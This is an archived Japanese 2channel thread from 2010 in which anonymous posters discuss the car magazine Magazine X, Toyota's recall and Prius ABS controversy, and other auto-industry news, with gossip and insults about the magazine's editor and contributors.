【トヨタ問題】「原因はトヨタが反一族の金儲け主義の海賊連中に乗っ取られたこと」−元北米トップ★2[10/02 /25]
http://tsushima.2ch.net/test/read.cgi/newsplus/1267141505/

439 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 18:14:09 ID:YHa+iPUR0
走行中にバックギア入る車なんて、113キロから160キロに急加速するより絶対に怖い。

440 :名無しさん@そうだドライブへ行こう:2010/02/26(金) 22:24:26 ID:99lCsS/M0
趣都の誕生―萌える都市アキハバラ (幻冬舎文庫) 森川 嘉一郎 (文庫 - 2008/12)
新品: ¥ 680
1 新品 ¥ 680より7 中古品 ¥ 229より

を買った。

441 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 00:31:27 ID:QXruBq9D0
【五輪】韓国が『2ちゃんねる』の801板を八百長と勘違いしてサイバーテロ攻撃! ★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1267194516/

442 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 01:46:16 ID:yk7IAPGb0
今日仕事帰りに書店に寄ったら4月号出てた。トヨタの件はいろんな角度から検証されてたよ。
国内での暴走事故はマークXジオが二件確認されてる、週刊文週に載ってた件が詳しく書かれていたよ。

443 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 02:29:39 ID:zyk1rt6P0
いいことだ。

444 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 02:35:56 ID:zyk1rt6P0
俺が以前乗ってたアルテッツァも、3万q超えたあたりから加速がおかしかったからなぁ・・・

時速120qあたりから、アクセルいくら踏んでもエンジンの回転が上がらないのw
無理矢理踏んだら、ガクガクガクと車体が振動するだけ。で、加速しない。

あれも確か電制スロットルっだったから、アメリカでの暴走騒ぎ聞いてもさもありなんだわなあw

445 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 03:24:09 ID:8Wt61aFS0
今月の総括キタワァ( ^ω^)

446 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 07:53:52 ID:cGL//l26P
今月号のアルトの総括
ロールの姿勢について指摘してたけどあれ俺の試乗した感想と一緒だわ
マジで今回のアルトは見た目、内装、室内空間はそこそこいいけど走りは最悪だわ
交差点で曲がるだけであの酷いロールは無いだろと思う

447 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 13:10:12 ID:W3FddwDI0
>446
スタビライザーとか後付け出来ないか?

448 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 14:19:46 ID:HBoIKcwy0
>>446
アルトの足回り悪くしてるのって、価格の高いワゴンRを売りつけるための戦略なんだろうな。
それならもうスイフトを買ったほうが税金は上がるけど満足度得られるよな。

449 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 14:25:02 ID:cGL//l26P
>>447
そこまでして乗るような車じゃないと思うが

>>448
試乗後にワゴンRも勧めてきたのは確かw
アルトは下道専用、法定速度+10までなら走りが破綻することはないとは思うけどね
あのロールはホントに実験ドライバーいるのか不安になったよ

450 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 20:55:28 ID:aAOaV2FU0
トヨタ・リコール問題の総括は珍しくトヨタ擁護だったなw

451 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 21:01:28 ID:sFdxrJ1f0
>>450
アクセルペダルに関してはトヨタが悪いけれど、プリウスのABSに関しては
イチャモンだろって感じだったね。

452 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 21:06:38 ID:juelZg2k0
テレビの論調がおかしいんだって。
ABSの件は、ブレーキを踏み直せばOKっていうのは
トヨタ系に限らずABSに携わってる人なら大体分かる。
報道はABS作動中に強く踏むとブレーキが効くみたいな言い方してて
凄く違和感があったんだけど。

レンタカーでプリウスは何度も乗ったが、ブレーキの気持ち悪さはあったけど
アクセルよりはマシだった。
どっちが違和感を感じるかと言ったら、ブレーキよりアクセルだったなあ。
一度だけマジでフロアマットにアクセルが引っかかったのはびっくりしたけど。

そんなのもあって、結局車はVWにしちまった。TSIとDSGの方がなんぼかまし。

453 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 21:27:40 ID:1/vxjXkc0
ベストカーとマガジンXとカーアンドドライバーを読んだ。
カーアンドドライバーはトヨタの事は全く関係無し。さすがだ。

NAVI最終号とベストカープラスも買います。

454 :名無しさん@そうだドライブへ行こう:2010/02/27(土) 23:54:51 ID:ReoWdvLQ0
トヨタ出身のダイハツ社長、お客様を連中呼ばわり
http://namidame.2ch.net/test/read.cgi/sfe/1146077748/

455 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 00:49:29 ID:zaAtCvLP0
【自動車】トヨタ、レクサスCT200hを発表…ニッケル水素バッテリーを搭載 [10/02/26]
http://anchorage.2ch.net/test/read.cgi/bizplus/1267260107/


456 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 01:27:22 ID:OnrGLCRjP
>>452
ブレーキ踏みなおさなきゃいけないようなABSはいらないでしょw
結局トヨタもABS作動中に約1秒ブレーキが抜けるっていう説明してたし


457 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 01:42:37 ID:9KbQCYVg0
>>453
ざっと読んだ中では、プリウス関連については親方が一番ちゃんと解説してたなw

総括はプリウスについては誤報扱いしていたけど、アクセルペダルリコールに関しては同情の余地無しと
最後の張と渡辺は退陣汁!ってのは同意かな。

奥田と今の社長ばっか責められてるけど、
責任あるのは奥田の拡大主義だけ引き継いだ無能な張と、極端な下請けいじめ&開発丸投げを黙認した渡辺だろ。

458 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 06:02:44 ID:zL1gTvNQ0
>>456
ちゃんと記事読んだ方が良いよ。
ABS作動した時の最高油圧をベースにしてABSは作動する事が書いてあるので
空走しないようにきちんとABSを効かせたければ、一度ブレーキを離してABS作動状態を
解除し、改めてブレーキを踏み直すことで最高油圧を再設定するって言うことが書いてある。

ABSのポンプは減圧用で増圧用じゃないからね。プリウスはVSC付きだから増圧もして
くれるはずだが。

知らないことは恥ずかしくないが、知らないことを棚に上げて訳の分からん発言は恥ずかしいよ。
雨降りの中、ブレーキ踏みながらマンホールを踏むと、同じような現象は体験出来る
ケースが多いよ。

459 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 09:24:40 ID:d5mq/UUe0
パニックブレーキ時に一度ブレーキ離して踏み直しって素人には難しいと思うが

460 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 10:00:16 ID:6wvm9UAt0
中国から見たトヨタのリコール「メイド・イン・ジャパンは地に落ちた」
http://news.searchina.ne.jp/disp.cgi?y=2010&d=0228&f=business_0228_010.shtml

  トヨタ自動車 <7203> の大規模リコール(回収・無償修理)で余波が広がり続けるなか、
25日には日産 <7201>、スズキ <7269>、ダイハツ <7262> の3社も国土交通省にリコールを届け出た。

  1月末にはホンダ <7267> もリコールを発表しており、中国では日本自動車メーカーの相次ぐリコールに対して「グローバルな規模で、
日本製造業に対する信頼が揺らいでいる」と報じられている。

  新華社通信が行った調査では、日本自動車メーカーの相次ぐリコールに対し、中国の消費者たちのトヨタをはじめとする日本自動車メーカー
への信頼はすでに失われつつあるとの結果が出ているほか、中国新聞網は「日本自動車メーカーの壊滅的現状に対し、良質かつ安価で
名をはせた『メイド・イン・ジャパン』の名誉は地に落ちた」としている。

  中国では2004年より自動車のリコール制度を正式に定めた『欠陥自動車製品のリコール管理規定』が施行されている。
施行から2010年2月までに中国で実施されたリコール台数は300万台を超えているが、中国新聞網では
「日系の合弁自動車メーカーによるリコールが8割を占めている」とした。

  また記事では、『品質管理』によって名をはせた日本企業は、市場拡大を目指した結果に『品質管理』をおろそかにしてしまったと分析し、
中国自動車メーカーはトヨタのリコール問題を教訓に品質の向上に力をいれるべきであるとしている。(編集担当:及川源十郎)

461 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 11:15:12 ID:OnrGLCRjP
>>459
そのためのABSなのにな


462 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 11:32:59 ID:zL1gTvNQ0
今回の問題はパニックブレーキ時じゃないだろ。
普通に緩やかな制動時の問題だろ。現象をすり替えてどうするんだ?
低μ路で緩やかなブレーキを踏んだときにABSが作動するまでタイムラグが
有るって話でしょうが。
そんな路面でABSが効いたらかえって怖いって話なら分かるけどね。
明らかに緩めっぱなしで止まらないから。

ABS効くぐらいにどーんと踏めという論調はいかがかと思うが、
急加速の問題に対するスケープゴートな気もするんだけどなあ。
自分が乗った限りでは、違和感はアクセル制御>>>>ブレーキ制御だった。

463 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 12:26:21 ID:Kpx4JpeR0


≪≪ トヨタの不祥事年表を作ろう ≫≫
http://namidame.2ch.net/test/read.cgi/auto/1266889830/

464 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 18:05:28 ID:bHcDlGG40
>>462
実際ニュースは、459や461と同じ論調で理解しないで流してる感じだね
今回のベストカーが結構解り易く解説してると思うので、見てみるといいよ

465 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 18:12:46 ID:zL1gTvNQ0
>>464
そうなんだ。買いに行ってみるよ。thks

466 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 18:19:28 ID:bHcDlGG40
>>465
コンビニ立ち読みで良いかとw

467 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 19:25:47 ID:44woDnWL0
余裕のある車間でゆるく踏む>効かないで空走>車間詰まってあせってパニクるって流れだと思ってたよ
まあヨタ車には興味ないんでどうでもいいが



468 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 19:49:14 ID:RDMe/Q4R0
記事とはまったく関係なし方向に進む
オタが群てなにをする
あっちいけや

469 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 21:36:43 ID:RvP/s10Y0
まあ、まあ。そんなこと別にいいじゃん。
どうせクソ雑誌の三文記事。どうでもいい内容。
自動車評論家や車雑誌自体が取るに足らない無駄なゴミ。
その下らない車雑誌の中でも三流なんだから適当でいいよ。

470 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 23:24:24 ID:PXDQfe1o0
>>469
そんなに「クソ雑誌の三文記事。どうでもいい内容」なら、
このスレを一々覗かなくてもいいのにw

471 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 23:37:38 ID:58mYgwtK0
三流雑誌の編集長怒らせると
ブログでウイルスばら撒かれるぞw

与太と違って
隠蔽工作

472 :名無しさん@そうだドライブへ行こう:2010/02/28(日) 23:59:12 ID:mz8SmsIR0
>>470
それ言っちゃダメ!
気になってしょうがない人なんだから

473 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 01:47:53 ID:aOlo18BG0
しきりにブログネタを引きずる人がいるけど、
そんなに自分の愛車を貶されたのが悔しかったのかなあw

474 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 02:37:38 ID:LMp33lPo0
「若者の車離れは脱オープンが原因」って記事があるが
逆だろ。
90年代にオープンか高額スポーツしかなくなったのがスポーツ車離れの原因だって。

いくらスポーツ車好きでも二座オープン購入するのは日本ではハードル高いし、
スーパーカー世代にはオープンそんなに訴求しないよ。


475 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 03:03:01 ID:bNzJkmLP0
>>473
>>469は自分の車が評価されなかったのが気に入らないんだろう。
magXとかを攻撃するのも、その手のやつ。

476 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 12:02:49 ID:nJeqgTtN0
「ヤマ(山場)無し」「オチ無し」「意味無し」


477 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 12:04:39 ID:nJeqgTtN0
「ヤマ(山場)無し」「オチ無し」「意味無し」
「ウイルス有り」「反省・謝罪無し」

478 :名無しさん@そうだドライブへ行こう:2010/03/01(月) 12:25:13 ID:NAumu6030
まあマグペケ叩いてもトヨタが落ち目なのは変わらないがw

479 :名無しさん@そうだドライブへ行こう:2010/03/02(火) 20:19:56 ID:qmhk4wOb0
>>457
>責任あるのは奥田の拡大主義だけ引き継いだ無能な張と、極端な下請けいじめ&開発丸投げを黙認した渡辺だろ。

渡邉は社長当時に「拡大が急すぎて兵站が伸びきっている、このままじゃヤバい」ってことをたびたび言ってたんだけどね
結局対策できてなかったか、対策が追いついてなかったってことだわな



480 :名無しさん@そうだドライブへ行こう:2010/03/02(火) 21:00:57 ID:5S/rd9wL0
トヨタ、全世界で160万台対象 油漏れの自主改修
http://www.47news.jp/CN/201003/CN2010030201000867.html

トヨタ自動車は2日、エンジンオイルの関連部品に亀裂が生じ、オイル漏れが生じる恐れがあるとして米国や日本で
昨年秋から実施している自主改修の対象車が、全世界の合計で約90カ国の約160万台に上ることを明らかにした。

 中国や東南アジア、欧州などで対象車が約23万台あることが判明。
米国も、今後改修を始めるものを含めると7車種の計約124万9千台となることが分かった。

 ほかにカナダが5車種の約7万6千台、日本が5車種の約4万5千台となっている。

 対象は「カムリ」「ハリアー」「レクサスES」など世界で計12車種。いずれも排気量3500ccのV6型エンジンを搭載している。

481 :名無しさん@そうだドライブへ行こう:2010/03/02(火) 23:18:16 ID:rPOB3+9D0
「ウイルス有り」「反省・謝罪無し」
「情報漏えいで事業聴取有り」
「編集部員との不倫有りが」
「スクープ雑誌きどるが新ネタ何も無し」

482 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 01:08:41 ID:4CWXFW6y0
>>479
「兵站が伸びきっている」と警告したのは渡邉じゃない、奥田です。
http://sekihi.net/writers/2023

渡邉は奥田の警告を受け入れて、
人手不足を補うため、多くの車種の開発を下請けに丸投げした。

483 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 03:25:26 ID:P2qqTRRQ0
>多くの車種の開発を下請けに丸投げした。

なんつー解決策w

484 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 08:14:17 ID:eUaXMBSi0
まあ、今時ヨタ車やマグペケに金を払うのは大バカってことで。


485 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 08:19:43 ID:4CWXFW6y0
2006年10月3日にトヨタ労働組合が、トヨタ・代表取締役社長、渡辺に要望書を出しているんだな。
http://www.katch.ne.jp/~atunion/recall.pdf

>技術者の現状は、恒常的な長時間労働・高負荷と成果主義人事制度になやまされ、
>しかも慢性的人手不足のなかでストレスを強く感じながら、目前の仕事をこなすのが精一杯の状態で豊かな発想が難しくなっている。
>そうした中で、技術者不足を補うために社外者活用が、2001年は4000 人(24.9%)だったのが、
>2004年は10000 人(43.9%)を超える状況になっています。このことは必然的に、技術レベルを低下させ品質低下となって現れているのではないのか。


486 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 09:28:12 ID:4CWXFW6y0
モロさんが輸入車一気乗りしたので、
次回のメルマガから感想を書いていくみたいね。

ゴルフRが気になる。

487 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 09:29:24 ID:8AGgSs7t0
なんだかんだで、モロが一番信用できる

488 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 09:51:46 ID:VJ8WsYoY0
いつか破綻するとわかっていながら拡大路線を止められなかったというのは、やはり奥田・渡辺ラインの失策。

>>487
それはない

489 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 10:04:41 ID:K51Ww9Ov0
信用というのか知らないが、評価軸を自分のそれと比較しやすい気はするな>モロ


490 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 11:47:23 ID:CWYpNHjI0
トヨタの社長の爪の垢を煎じて飲ましたい

491 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 12:05:11 ID:iFA6slf90
>>490
会社の金でレース三昧するようになっちゃうよ。

492 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 12:50:39 ID:3c+gHfr60
トヨタ:2月の米新車販売8.7%減 「独り負け」状態に
http://mainichi.jp/select/biz/news/20100303k0000e020019000c.html?link_id=RAH05

493 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 18:30:26 ID:OZd+eXxB0
>488
GMがやった自動車版サブプライムローン問題に対抗せざるえない部分もあったけど、あれは踏みとどまるべきだったな。

金融商品に頼ったGMの失敗
ttp://oshimas.iza.ne.jp/blog/entry/898851/

今のリコール問題を考えるとトヨタも顧客軽視だったのは変わらないのは残念だが(苦笑)。

494 :440:2010/03/03(水) 20:39:37 ID:aVqwBYvX0
>>440
読み終わった。エアラインオタの本だったけど面白かった。
帯なしなので中古でいいです。

495 :名無しさん@そうだドライブへ行こう:2010/03/03(水) 21:30:52 ID:jZohzxeH0
〔アングル〕仏プジョーとの資本提携破談、優先株めぐる三菱自<7211.T>側の思惑外れる 2010年 03月 3日 17:18
http://jp.reuters.com/article/marketsNews/idJPnTK036808320100303

 大手国内証券のアナリストは、三菱グループにとって破談は想定外だった可能性があ
る、とした上で「切り札のアイミーブを自社で世界中で販売する体制を持たない三菱自は、
資本提携がなくともPSAと関係を維持し、販売などを委託するのが自然」とみる。

  05年に旧独ダイムラークライスラー(現ダイムラー(DAIGn.DE: 株価, 企業情報, レポ
ート))から一方的に出資引き揚げと支援撤退を表明された三菱自は、三菱グループに
とっていわば「出戻り」企業。今回のPSAとの資本提携交渉は、なんとしても成功させた
いとの声が多かったが、事実上振り出しに戻った格好。トヨタ自動車(7203.T: 株価, ニュ
ース, レポート)のリコール(回収・無償修理)問題など国内自動車産業の行方が不透明
ななかで、三菱グループの今後の動向が注目される。

496 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 07:00:04 ID:L70b+ssy0
この雑誌、内容が全くないな。
存在価値あるのか?
今時紙媒体の内容の薄い車雑誌とかw
かといって、サイバーの方はウィルスだらけだし。


497 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 10:30:00 ID:a7s1WNnF0
三菱自動車工業(7211)は東証1部下落率3位に 仏プジョーとの資本提携見送りで財務先行き懸念高まる
http://mainichi.jp/life/money/kabu/nsj/news/20100304200349.html

498 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 11:33:10 ID:wbeaAhu+0
立ち読みはするけど買わない雑誌の代表格だな


499 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 12:54:15 ID:TNNnevIr0
でも今月号は珍しく内容は頑張った方だと思う。ひさびさに買った。

500 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 12:54:19 ID:Mize65cA0
【自動車】トヨタ、日米100万台自主改修 油漏れの恐れ、公表せず[10/03/02]
http://anchorage.2ch.net/test/read.cgi/bizplus/1267659756/

501 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 14:24:57 ID:008AJNWK0
チェーン系の書店だけど
今月もまったく売れていないな
あの中身の無いワンパターン誌面じゃ
>>496さんに同意で、存在価値ゼロ



502 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 14:56:11 ID:0Epbt/dv0
この一生懸命リンク貼ってるキ印何なの?

503 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 15:44:53 ID:0CgxeqtB0
>>490
トヨタなら和田元副社長だろ

504 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 18:02:33 ID:AXWS72UM0
>>490
渡邉とか勘弁してくれよw

505 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 18:35:02 ID:mRd5K6HR0
>>496
立ち読みぐらいしてやれよ


506 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 20:06:53 ID:AXWS72UM0
>>505
内容が無い、と言い切ってる所から見て
立ち読みぐらいはしてるんだろ、内容を確認するためにw

507 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 20:40:17 ID:yS8UAKp40
内容が無いのに 
見出しはデカイ
(センスは無し)

508 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 21:28:03 ID:AXWS72UM0
>>507
なんでそんな内容が無い雑誌のスレで、必死になるんだw

509 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 22:56:28 ID:9+5i4+jT0
価格アップしたが以前より売れないせいかね?

510 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 23:27:23 ID:ScYbVJdC0
hosyu

511 :名無しさん@そうだドライブへ行こう:2010/03/04(木) 23:46:01 ID:AXWS72UM0
まあ、車の雑誌なんだから軍事ネタは止めて欲しいわ
その記事もマトモなら良いんだが、清谷とか田母神はねーよw

田母神なんてネトウヨが賛美しているだけで、
軍事オタの間じゃ、その評論内容は貶されまくってるというのにw

512 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 04:30:01 ID:4uNotxDD0
>>511
ネトウヨとか言ってる時点で信用できない。

513 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 06:52:03 ID:ENAHwYgE0
この雑誌も10年ぐらい前に大谷wの警察批判記事載せだしたりし始めてから変な方向に行っちゃったね
読者は新車スクープと総括が読みたいだけで自称ジャーナリストのオナニー記事やピンクチラシ見たいわけじゃないんだよな

514 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 09:43:32 ID:svS3eUeu0
読者がみんなオマエみたいなバカだとでも思ってるのかねえw

515 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 10:43:31 ID:/8tjOUov0
社会派のコラムのネタがあったぞ

【五輪】キムヨナ、「広告関連の五輪憲章違反」で金メダル剥奪か?日本のネット上で話題に→ 韓国側「問題提起は分かるが強引過ぎる」★5
http://yutori7.2ch.net/test/read.cgi/mnewsplus/1267747231/

516 :511:2010/03/05(金) 10:55:11 ID:RRvi0BxK0
>>512
あれ?言っちゃあ拙いの?
じゃあ酷使様でいいのかな?

>>513
同意。
他にも元木とか要らないんだよなw
ピンクチラシの件については、車メーカーからの広告料がアテにできないから、なんとか言って、
また、それはそれで良かったんだがw

とりあえず、自称ジャーナリスト系の記事は不要だろうな。

517 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 12:07:56 ID:OREK3bGF0
米リコール対応後トヨタ車、急加速苦情60件
http://www.yomiuri.co.jp/atmoney/news/20100305-OYT1T00417.htm

518 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 18:24:57 ID:TaIuva1a0
警察批判はもっと昔からやっていたけどね。黒田ジャーナルとか。
安協追求キャンペーンとか読み応えがあった。

519 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 22:05:30 ID:HtRW0wmr0
編集長が
公務員や特殊法人をやたら目の仇にしているらしいw
理由は本人のいかがわしい経歴と、しつこく批判しても文句を言ってこないからだろ。
ボルボ・ジャパンのような反論してこない所、弱い所には
やたらと高飛車に批判する雑誌。



520 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 22:32:13 ID:LlMQbnA+0
この雑誌も90年代後半から3日後発表の新車のカタログ掲載したり(もちろんメーカーのリーク)し始めて終わったよな
スクープイラストも全く当たらないしさ
もう総括の内容だけカートップにでも載せてくれればこの雑誌要らないんだけど

521 :名無しさん@そうだドライブへ行こう:2010/03/05(金) 22:57:06 ID:aVFamGjg0
もっとページ数を減らしてほしい。590円のままでいいから。

522 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 00:20:59 ID:QBR5vc3Y0
90年代始めから現在までの総括を纏めて単行本にしてくれるなら、
間違いなく購入するだろうなぁw

モロとか福野礼一郎とか参加していた頃の記事をまた見てみたい。

523 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 00:22:29 ID:M/H+9jDe0
【自動車】三菱自動車、仏プジョーとの資本提携見送り…優先株めぐる三菱側の思惑外れる[10/03/03]
http://anchorage.2ch.net/test/read.cgi/bizplus/1267614319/

524 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 01:13:27 ID:QBR5vc3Y0
モロ連載更新。

牧野氏も登場。
これからトヨタ問題について連載するらしいが、なかなか面白い。

525 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 01:28:56 ID:Y45lOvKM0
幸福のペンダント系の広告が面白すぎるw

526 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 17:05:05 ID:ldveg6LE0
>>522
俺はボンバーの記事をまた見てみたい。

527 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 17:15:08 ID:G4N/28TZ0
>>522
僕は山崎大紀センセーのどどぴゅんコなマンガが見たいです
センセの書く人妻ってなんであんなにエロイのだろう

528 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 17:55:55 ID:SI6jczo00

トヨタ問題、米議会の追及続く=急加速で追加情報開示を要求−電子系統の調査不十分
http://www.jiji.com/jc/c?g=eco_30&k=2010030600143

529 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 21:07:19 ID:wCoWYlj80
>>526
元ネタの兼坂翁の記事と、見開き比較形式にして欲しいな。

530 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 22:25:22 ID:CwpXBa3u0
個人情報漏えいブログで車に関係ない記事を書きまくっている
山形浩生も盗作ライターw
出入りしているのってこんな奴ばっかww


531 :名無しさん@そうだドライブへ行こう:2010/03/06(土) 23:51:48 ID:+vumskxh0
【ふま】山形浩生について語るスレ【No.9】
http://love6.2ch.net/test/read.cgi/books/1203825163/

532 :名無しさん@そうだドライブへ行こう:2010/03/07(日) 09:45:23 ID:t8I5n9mv0
ダイハツ社長に伊奈氏
http://osaka.yomiuri.co.jp/eco/news/20100306-OYO8T00214.htm

 ダイハツ工業は5日、箕浦輝幸社長(66)が退任し、後任の社長に伊奈功一副社長(61)が昇格する人事を固めた。
白水宏典会長(69)は留任する。6月に開く株主総会後の取締役会で正式に決める見通しだ。

 箕浦氏は、親会社であるトヨタ自動車出身で、国内の軽自動車販売でスズキを抜いて首位に立つなど、販売・生産の両面で
経営基盤を固めてきた。6月で就任から丸5年を迎えることから、若返りを図る。

 伊奈氏もトヨタ出身で、生産畑を主に歩んだ。2009年6月にトヨタ専務からダイハツ副社長に転じた。

533 :名無しさん@そうだドライブへ行こう:2010/03/07(日) 17:26:08 ID:sY6UeQ4v0

山形浩生について語るスレ
http://academy6.2ch.net/test/read.cgi/sociology/1170432239/

黒木玄、山形浩生、菊池誠、稲葉振一郎
http://academy6.2ch.net/test/read.cgi/sociology/1179630295/

534 :名無しさん@そうだドライブへ行こう:2010/03/07(日) 17:48:36 ID:u/4xy/Z10
自動車と無関係のイカサマライター使っているのは
編集長がなにか弱みでも握られたか、裏金でももらってんだろ
      ↓
名無しさん@社会人:2009/09/29(火) 00:27:45
びっくりした。本書の内容は室井が2005年に学内誌とネット上に発表し、ぼくが
http://cruel.org/other/smoking.html
で批判した中身が相当部分変わらずに使われている。
この文についてかれは、まったく反論ができず、
自分は統計を信じていないという言い逃れをするしかないていたらく。
2005年には、かれは本当に知らなかったのかも知れない。
でも本書で、かれは自分でもまちがっていると知っていることを、
素知らぬ顔で繰り返し書いている。一応は知識人を名乗っているだろうに。
読者をだまして恥ずかしくありませんか? 
もはや最低限の知的な誠実さや良心すらない、卑しい売文の徒になりはてましたか。情けなや。

535 :名無しさん@そうだドライブへ行こう:2010/03/07(日) 20:59:48 ID:991gmwwa0
結局は編集長が自称ジャーリズム指向
しかも車のことなんてなんにもしらないから、どんどんと内容が壊れていく
知能指数は0に近いから仕方がないんだけど
自然の摂理なんだよ


536 :名無しさん@そうだドライブへ行こう:2010/03/07(日) 22:50:43 ID:73f2dopd0
山形浩生、小谷真理に名誉毀損で訴えられ敗訴した男。
(現在でも検索可)

537 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 00:10:20 ID:zT7+S4V+0
廃刊が近いと言う噂を聞いたので、可哀想になって一冊購入しました。

1年ほど前に職場の人が購入したのを見せてもらった事はあったけど
自分では5年以上購入していなかったな。
当時はサラ金と性風俗関係の広告に相当のページが割かれていた。
今で言う「闇のルポタージュ」みたいな連載もあったけど、
上記のような広告ばかりの雑誌を普通の人は読まないだろうから
社会に与えるインパクトは少しも無い事は容易に想像が出来た。

「ざ総括」なんかは、他人の仕事にケチを付けるだけで
自分達は何も生み出さない典型的な「評論家」様の集い。
内容には明らかに590円の価値が無いと思った。
「Gスポーツ 存亡の危機」なんて記事が乗っているけど
マガジンXも「存亡の危機」だと素直に思いました。

538 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 00:29:58 ID:KXcGMsID0
ワンコイン(500円)が妥当だと思うがな

539 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 11:54:45 ID:w5TPs1Wv0
まあ思い上がったトヨタ社員には良い薬だよ

540 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 11:55:03 ID:fC8C3W7s0
非生産的だよな

541 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 13:16:37 ID:4++c7tB90
久々にこのスレ来たんだけど、ボンバーは元気?

542 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 22:18:14 ID:8B/sRcT90
切られて、口コミ不買運動やってる。

543 :名無しさん@そうだドライブへ行こう:2010/03/08(月) 23:18:36 ID:PT1twzMZ0

ラリーアートが10日に解散発表らしいね
つまりもう二度とラリー競技に復帰しないって事だろうな・・

544 :名無しさん@そうだドライブへ行こう:2010/03/09(火) 02:23:56 ID:GLe6gKEg0
>>537
>「ざ総括」なんかは、他人の仕事にケチを付けるだけで
>自分達は何も生み出さない典型的な「評論家」様の集い。

はあ?もともと評論なんだけど。
だいたい、大メーカー相手にケチをつけられる評論家、媒体がどれだけあることか。
そういうところを俺は買ってる。
ただしここ数年は総括以外は(総括もか)つまらなくなったので、
本自体はあんまり買わないけど。



545 :名無しさん@そうだドライブへ行こう:2010/03/09(火) 08:00:17 ID:pYrpiW6e0
試乗レビュー:トヨタ マークX
ttp://autos.yahoo.co.jp/ncar/review/report/mm0373/4/
> 気になったのは、出足の重さだ。これはペダルの設定だと思うのだが、サイドブレーキが
>引いてあるんじゃないか?と何度か確認してしまうくらい重かった。あまりに軽いのも考え物
>だが、改善が必要なポイントだと思う。

総括が何と言おうが世間はちょいと踏んだらビュッと飛び出す車が大好きなんです。

546 :名無しさん@そうだドライブへ行こう:2010/03/09(火) 10:43:41 ID:Qewt3azl0
>>535
何度もリニューアル繰り返すより
編集長代えたほうがマシだろ
もはや手遅れだがw

547 :名無しさん@そうだドライブへ行こう:2010/03/09(火) 11:44:38 ID:WkGtQhoZ0
総括&パージ

【三菱】ラリーアートが解散
http://tsushima.2ch.net/test/read.cgi/news/1268075466/

548 :名無しさん@そうだドライブへ行こう:2010/03/10(水) 10:14:01 ID:apxHnLIX0
